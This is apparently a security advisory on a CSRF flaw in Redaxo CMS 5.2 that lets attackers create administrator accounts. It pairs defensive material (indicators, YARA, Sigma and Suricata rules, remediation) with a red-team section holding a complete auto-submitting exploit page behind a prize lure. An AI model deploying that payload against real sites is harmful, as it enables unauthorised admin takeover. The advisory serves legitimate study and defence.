CVE-2016-20053

Executive Summary

CVE-2016-20053 is a Cross-Site Request Forgery (CSRF) vulnerability in Redaxo CMS version 5.2. This flaw allows unauthenticated attackers to force authenticated administrators to perform unintended actions, specifically the creation of new administrative user accounts. By crafting a malicious HTML form that targets the user creation endpoint, an attacker can trick an admin into submitting a request that adds a new admin account with attacker-controlled credentials. The vulnerability has a CVSS v3.1 base score of 8.8 (High), as it requires user interaction but can lead to full compromise of the CMS. No official patch has been identified, and the vendor's status is marked as UNKNOWN/UNPATCHED.

This vulnerability is specific to the Redaxo CMS ecosystem and does not involve Apache or Nginx server software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim (admin) must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to CMS data.
• Integrity (I): High – Full write access to CMS data and configuration.
• Availability (A): High – Potential to disrupt CMS operations.

Threat Level: High. The combination of low attack complexity and high impact makes this a critical risk for any Redaxo CMS 5.2 installation.

Deep Dive & Mechanics

The vulnerability resides in the user management endpoint of Redaxo CMS 5.2. The application fails to implement anti-CSRF tokens or other validation mechanisms to ensure that requests to create new users originate from the legitimate admin interface.

Attack Flow:

1. The attacker crafts an HTML page containing a form that submits a POST request to the vulnerable Redaxo endpoint (e.g., /redaxo/index.php?page=users).
2. The form includes hidden fields for username, password, email, and role (set to admin).
3. The attacker hosts this page on a malicious site or embeds it in a phishing email.
4. The attacker tricks an authenticated Redaxo admin into visiting the malicious page.
5. The admin's browser automatically submits the form (via JavaScript or auto-submit), using the admin's active session cookies.
6. The Redaxo CMS processes the request without checking the origin, creating a new admin account.
7. The attacker can then log in with the newly created credentials and take full control of the CMS.

Root Cause: Lack of CSRF protection on the user creation endpoint. The application does not validate the Origin or Referer headers, nor does it use a unique, unpredictable token for each session.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is the default implementation in Redaxo CMS 5.2. A patched version would include CSRF token validation.

Vulnerable Code (Conceptual PHP):

// redaxo/src/addons/users/pages/index.php
if (rex_request::method('post') && rex_post('func') == 'add') {
    $user = rex_sql::factory();
    $user->setTable(rex::getTable('user'));
    $user->setValue('name', rex_post('name'));
    $user->setValue('login', rex_post('login'));
    $user->setValue('password', rex_post('password'));
    $user->setValue('email', rex_post('email'));
    $user->setValue('admin', 1);
    $user->insert();
    // No CSRF check
}

Patched Code (Conceptual PHP):

// redaxo/src/addons/users/pages/index.php
session_start();
if (rex_request::method('post') && rex_post('func') == 'add') {
    // Validate CSRF token
    if (!hash_equals($_SESSION['csrf_token'], rex_post('csrf_token'))) {
        die('CSRF token validation failed.');
    }
    $user = rex_sql::factory();
    $user->setTable(rex::getTable('user'));
    $user->setValue('name', rex_post('name'));
    $user->setValue('login', rex_post('login'));
    $user->setValue('password', rex_post('password'));
    $user->setValue('email', rex_post('email'));
    $user->setValue('admin', 1);
    $user->insert();
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Redaxo CMS 5.2 on a local server (e.g., XAMPP, Docker).
2. Create an admin account and log in.
3. Host the malicious HTML page on a separate server or local file.

Exploit HTML (CSRF Payload):

<html>
<body>
<h1>Click to win a prize!</h1>
<form action="http://target-site.com/redaxo/index.php?page=users" method="POST">
    <input type="hidden" name="func" value="add">
    <input type="hidden" name="name" value="attacker_admin">
    <input type="hidden" name="login" value="attacker">
    <input type="hidden" name="password" value="P@ssw0rd!">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="admin" value="1">
    <input type="submit" value="Click here">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Execution:

1. Send the HTML file to the authenticated admin via email or social engineering.
2. Once the admin opens the file, the form auto-submits.
3. The attacker logs in with attacker / P@ssw0rd! and gains admin access.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /redaxo/index.php?page=users with func=add from unexpected referrers.
• Alert on creation of new admin accounts outside of normal business hours.
• Use web application firewall (WAF) rules to block requests missing a CSRF token.

Prevention:

• Implement CSRF tokens in all forms.
• Validate the Origin and Referer headers.
• Require re-authentication for sensitive actions (e.g., creating admin users).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /redaxo/index.php?page=users with parameters func=add, name, login, password, email, admin=1.
  • Referer header pointing to an external or unexpected domain.
• System IOCs:
  • New user entries in the rex_user database table with admin=1 and unknown login names.
  • Unusual admin login sessions from IP addresses not associated with legitimate administrators.
• File IOCs:
  • Presence of unexpected HTML files on admin workstations (phishing payloads).

Detection Engineering

YARA Rule

rule detect_csrf_redaxo_admin_creation {
    meta:
        description = "Detects CSRF attempts against Redaxo CMS 5.2 admin creation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2016-20053"
    strings:
        $post_method = "POST"
        $func_add = "func=add"
        $admin_param = "admin=1"
        $target_path = "/redaxo/index.php?page=users"
    condition:
        all of them
}

Sigma Rule

title: Redaxo CMS 5.2 CSRF Admin Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Redaxo user creation endpoint without CSRF token
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "/redaxo/index.php?page=users"
            - "func=add"
            - "admin=1"
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF is not implemented)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2016-20053 Redaxo CMS 5.2 CSRF Admin Creation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/redaxo/index.php?page=users";
    http_uri;
    content:"func=add";
    http_client_body;
    content:"admin=1";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.
2. Manual CSRF Protection: Add CSRF token validation to the user creation endpoint. Use a library or implement a simple token system.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests to /redaxo/index.php?page=users that do not include a valid CSRF token.
4. Session Validation: Validate the Origin and Referer headers against the expected domain.

Long-Term Measures:

1. Code Review: Conduct a security audit of all forms and endpoints in the CMS.
2. Security Headers: Implement SameSite cookies and X-Frame-Options to reduce CSRF risk.
3. User Education: Train administrators to recognize phishing attempts and avoid clicking suspicious links while logged in.

Workaround:

• Disable the user creation functionality via .htaccess or server configuration until a patch is applied.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 8AF9A61F0D0975FE5A7CF770] */}